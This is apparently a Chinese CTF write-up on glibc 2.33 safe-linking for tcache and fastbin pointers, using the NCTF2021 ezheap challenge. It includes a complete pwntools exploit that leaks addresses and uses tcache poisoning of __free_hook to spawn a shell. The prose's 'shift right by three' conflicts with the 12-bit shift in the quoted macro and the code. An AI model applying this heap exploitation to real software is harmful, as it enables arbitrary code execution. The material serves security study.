glibc高版本堆题攻击之safe unlink

425次阅读  |  发布于2年以前

测试版本2.33_5

从2.32版本开始,tcache和fastbin里面就加入了一个safe unlink的机制,主要是对fd指针的一个异或操作来使得不那么好利用UAF等需要fd指针的手法进行地址泄露以及进一步的任意地址写。

具体的效果如下:

发现fd指针的值为0x562e784a3,如果是低版本的话,应该是0x562e784a3000也就是上一个堆块的地址。可以看出fd指针被加密了。

那么是怎么加密的呢,我们看看源码:


/* Safe-Linking:
   Use randomness from ASLR (mmap_base) to protect single-linked lists
   of Fast-Bins and TCache.  That is, mask the "next" pointers of the
   lists' chunks, and also perform allocation alignment checks on them.
   This mechanism reduces the risk of pointer hijacking, as was done with
   Safe-Unlinking in the double-linked lists of Small-Bins.
   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
   larger pages provide less entropy, although the pointer mangling
   still works.  */
/* 加密函数 */
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
/* 解密函数 */
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

pos是我们当前的堆块的fd指针的地址,ptr是未加密的时候fd指针应该指向的堆地址(也就是前一个被放进tcache的堆块的fd指针的位置)。

说通俗一点,当堆块P被free的时候,P的fd要放前一个堆块的ptr(tcache里面放的就直接是fd指针的位置了)。而放置的时候,会把&P->fd这个堆地址右移三位,当作一个密钥,来异或ptr这个明文,最后在把得到的密文放在P->这个位置。

我们再多放进tcache一个堆块测试一下:

没问题。那么解密过程又是怎么的呢?我们这里演草一下,就很清晰明了了:

结论就是,密文异或密钥就得到明文了(这里感谢二进制密码爷hash_hash师傅https://hash-hash.github.io/的指点)。

模板题:【NCTF2021】ezheap

版本

同测试版本

保护

ida

很常见的菜单题,实现了增删改查,然后删的时候有个UAF:

不过并没有完全UAF,没有清空指针,但是因为清空了size数组上对应的值,不能再edit了。但是我们可以通过在note段放两个相同的堆指针(因为没有清空,add free add就好了),free那个被清空size的idx,然后就能通过另一个idx对bin中的堆块进行修改了,就可以通过edit将它的fd指针设置为(__free_hook ^ (pos>>3))实现tcache poison然后get shell。

exp


from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'

def z():
    gdb.attach(r)

def cho(num):
    r.sendafter(">> ",str(num))

def add(size,con):
    cho(1)
    r.sendafter("Size: ",str(size))
    r.sendafter("Content: ",con)

def edit(idx,con):
    cho(2)
    r.sendafter("Index: ",str(idx))
    r.sendafter("Content: ",con)

def delet(idx):
    cho(3)
    r.sendafter("Index: ",str(idx))

def show(idx):
    cho(4)
    r.sendafter("Index: ",str(idx))

def exp(): 
    global r
    global libc
    libc=ELF('./libc-2.33.so')
    r=process('./ezheap')
    ##[+]:leak libc && heap
    for i in range(0,8):
        add(0x80,'nameless')
    for i in range(1,8):
        delet(i)

    ##z()
    delet(0)
    show(1)
    heap=u64(r.recv(5).ljust(8,'\x00'))
    key=heap
    heap<<=12
    log.success('heap:'+hex(heap))
    show(0)
    libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1e0c00
    log.success('libcbase:'+hex(libcbase))

    ##[+]:set libc_func
    one=[0xe3b2e,0xe3b31,0xe3b34]
    free_hook=libcbase+libc.sym['__free_hook']
    system=libcbase+libc.sym['system']
    ##onegadget=libcbase+one[0]

    ##UAF && poison to get shell
    cry_free_hook=(free_hook)^key
    add(0x80,'nameless')
    delet(7)
    edit(8,p64(cry_free_hook)+'\n')
    add(0x80,'/bin/sh\x00') ##9
    add(0x80,p64(system))
    delet(9)
    r.interactive()

if __name__ == '__main__':
    exp()

Copyright© 2013-2020

All Rights Reserved 京ICP备2023019179号-8